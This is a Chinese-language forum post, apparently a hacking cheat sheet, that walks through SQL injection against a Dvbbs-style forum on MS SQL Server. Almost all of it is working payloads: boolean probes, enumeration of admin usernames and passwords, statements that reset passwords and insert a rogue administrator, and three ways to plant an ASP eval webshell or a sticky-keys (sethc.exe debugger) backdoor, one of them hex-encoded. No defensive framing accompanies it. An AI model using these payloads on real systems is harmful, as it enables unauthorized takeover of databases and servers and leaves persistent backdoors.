管理用户' and '1'='1 用户名或者密码不正确. 管理用户' ' and '1'='2 本论坛不存在该用户名. 如果两次返回结果不同说明漏洞存在 下面判断数据库类型: ;and (select count(*) from sysobjects)>0 ;and (select count(*) from msysobjects)>0 判断admin是否存在: admin' and 1=(select count(*) from dv_admin where left(username,1)='a') and '1'='1 admin' and 1=(select count(*) from dv_admin where left(password,1)='a') and '1'='1 判断权限: ' and (select is_srvrolemember('sysadmin'))>0-- ' and (select IS_MEMBER('db_owner'))>0-- af0378da05f63f89=abcd1234 方法一:注册用户 修改密码: 注册的用户(tester)';update dv_user set password='af0378da05f63f89' where username='tester'-- 加入到管理组: 注册的用户(tester)';update dv_user set usergroupid=1 where username='tester'-- 方法二:直接建用户 新建用户并加到管理组 存在的用户(admin)';insert into dv_user (username,userpassword,usergroupid) values('tester','af0378da05f63f89','1')-- 存在的用户(admin)';insert into dv_admin (username,password,flag,adduser) values ('tester','af0378da05f63f89','1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,3 2,33,34,35,36,37,38,39,40,41,42,43,44,45','tester')-- 清理用户 delete from dv_admin where username='tester' delete from dv_user where username='tester' 拿webshell思路: 第一种: DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001 \Services\W3SVC\Parameters\Virtual Roots', '/' , @result output insert into web (gyfd) values(@result); update dv_user set useremail =@result where username='bugtest1'; 先把你个人的邮件地址修改成网站目录,然后再 declare @o int, @f int, @t int, @ret int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'createtextfile', @f out, '上面得到的目录加木马地址', 1 exec @ret = sp_oamethod @f, 'writeline', NULL, '<%eval request("#")%>';-- 第二种: 映射劫持-5shift后门 declare @s varchar(4000) set @s=cast (0x657865632078705F72656777726974652027484B45595F4C4F43414C5F4D414348494E45272C27534F4654574152455C4D6963726F736F667 45C57696E646F7773204E545C43757272656E7456657273696F6E5C496D6167652046696C6520457865637574696F6E204F7074696F6E735C736 57468632E657865272C276465627567676572272C277265675F737A272C27633A5C77696E646F77735C73797374656D33325C636D642E6578652 7DA as varchar(4000));exec(@s); 第三种: 找到网站路径BAKLOG TO A webshell alter database XXX set RECOVERY FULL-- create table cmd (a image)-- backup log XXX to disk = 'c:\cmd' with init-- insert into cmd (a) values ('<%%25eval(request("a")):response.end%%25>')-- backup log XXX to disk = 'e:\web\test.asp'-- drop table cmd-- alter database XXX set RECOVERY SIMPLE-- |
|小黑屋|最新主题|手机版|微赢网络技术论坛 ( 苏ICP备08020429号 )
GMT+8, 2024-10-1 12:15 , Processed in 0.124427 second(s), 12 queries , Gzip On, MemCache On.
Powered by Discuz! X3.5
© 2001-2023 Discuz! Team.